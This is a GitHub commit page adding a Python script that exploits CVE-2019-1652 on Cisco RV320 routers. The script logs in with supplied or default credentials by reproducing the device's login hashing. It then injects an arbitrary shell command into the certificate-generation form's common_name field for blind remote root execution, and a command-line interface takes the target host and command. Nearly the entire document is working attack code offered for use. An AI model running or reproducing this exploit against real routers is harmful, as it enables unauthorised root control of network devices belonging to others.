-
Notifications
You must be signed in to change notification settings - Fork 65
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
104 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,104 @@ | ||
#!/usr/bin/python | ||
# coding: utf-8 | ||
# CVE-2019-1652 - Blind remote root command execution on Cisco RV320. | ||
import argparse | ||
import requests | ||
import sys | ||
# nuke https warnings... | ||
from requests.packages.urllib3.exceptions import InsecureRequestWarning | ||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) | ||
# fucking regex | ||
import re | ||
import hashlib | ||
|
||
def extract_auth_key(session, base_url): # getting the dumb auth key | ||
r = session.get(base_url, verify=False) | ||
auth_key = re.findall('"auth_key" value="(.*?)">', r.text) | ||
if len(auth_key): | ||
return auth_key[0] | ||
else: | ||
return None | ||
|
||
def cisco_login(host, port, ssl, username, password): | ||
s = requests.Session() | ||
if ssl == True: | ||
base_url = "https://%s:%s/" %(host, port) | ||
else: | ||
base_url = "https://%s:%s/" %(host, port) | ||
login_url = "%scgi-bin/userLogin.cgi" %(base_url) | ||
print "{+} Sending request to %s to extract auth key..." %(base_url) | ||
auth_key = extract_auth_key(session=s, base_url=base_url) | ||
if auth_key != None: | ||
print "{*} Got auth_key value: %s" %(auth_key) | ||
else: | ||
print "{*} auth_key extraction failed. Using 1964300002 anyway" | ||
auth_key = "1964300002" # this seems to be a default on some? | ||
# now we compute the login :| | ||
password_hash_plain = password+auth_key # Yeah, it does this... | ||
password_hash = hashlib.md5(password_hash_plain).hexdigest() # Seriously what?! | ||
auth_server_pw = password.encode("base64").strip() # No idea why. This whole setup is batshit. | ||
post_data = {"auth_key": auth_key, | ||
"auth_server_pw": auth_server_pw, | ||
"changelanguage": "", | ||
"current_password": "", | ||
"langName": "ENGLISH,Deutsch,Espanol,Francais,Italiano", | ||
"LanguageList": "ENGLISH", | ||
"login": "true", | ||
"md5_old_pass": "", | ||
"new_password": "", | ||
"password": password_hash, | ||
"password_expired": 0, | ||
"pdStrength": 0, | ||
"portalname": "CommonPortal", | ||
"re_new_password": "", | ||
"submitStatus": 0, | ||
"username": username} # this is batshit and it won't work without all these vars?! | ||
login = s.post(url=login_url, data=post_data, verify=False) | ||
if "URL=/default.htm" in login.text: | ||
print "{+} Login Successful, we can proceed!" | ||
return base_url, s # return the base url and session... | ||
else: | ||
sys.exit("{!} Login Failed, quitting time loser :(") | ||
|
||
def pwn(base_url, session, command): | ||
print "{+} Ok, now to run your command: %s" %(command) | ||
print "{+} We don't get output so... Yeah. Shits blind. Good luck!" | ||
target_url = "%scertificate_handle2.htm?type=4" %(base_url) | ||
payload = "a'$(%s)'b" %(command) | ||
post_data = {"page": "self_generator.htm", | ||
"totalRules": 1, | ||
"OpenVPNRules": 30, | ||
"submitStatus": 1, | ||
"log_ch": 1, | ||
"type": 4, | ||
"Country": "A", | ||
"state": "A", | ||
"locality": "A", | ||
"organization": "A", | ||
"organization_unit": "A", | ||
"email": "ab%40example.com", | ||
"KeySize": 512, | ||
"KeyLength": 1024, | ||
"valid_days": 30, | ||
"SelectSubject_c": 1, | ||
"SelectSubject_s": 1, | ||
"common_name": payload} | ||
r = session.post(url=target_url, data=post_data, verify=False) | ||
print "{+} Done. Hopefully you did something useful." | ||
|
||
def main(): | ||
parser = argparse.ArgumentParser() | ||
parser.add_argument('-t', '--target', help="Target host", required=True) | ||
parser.add_argument('-s', '--ssl', action="store_true", default=True, help="Use SSL") | ||
parser.add_argument('-p', '--port', default="443", help="Target port") | ||
parser.add_argument('-U', '--username', default="cisco", help="Username") | ||
parser.add_argument('-P', '--password', default="cisco", help="Password") | ||
parser.add_argument('-c', '--command', default="id", help="Command. You get no output so... Do with it as you see fit.") | ||
# more args to come... | ||
args = parser.parse_args() | ||
base_url, session = cisco_login(host=args.target, port=args.port, ssl=args.ssl, username=args.username, password=args.password) | ||
# we now have a session object. We can move to the next phase of attack. | ||
pwn(base_url=base_url, session=session, command=args.command) | ||
|
||
if __name__ == "__main__": | ||
main() |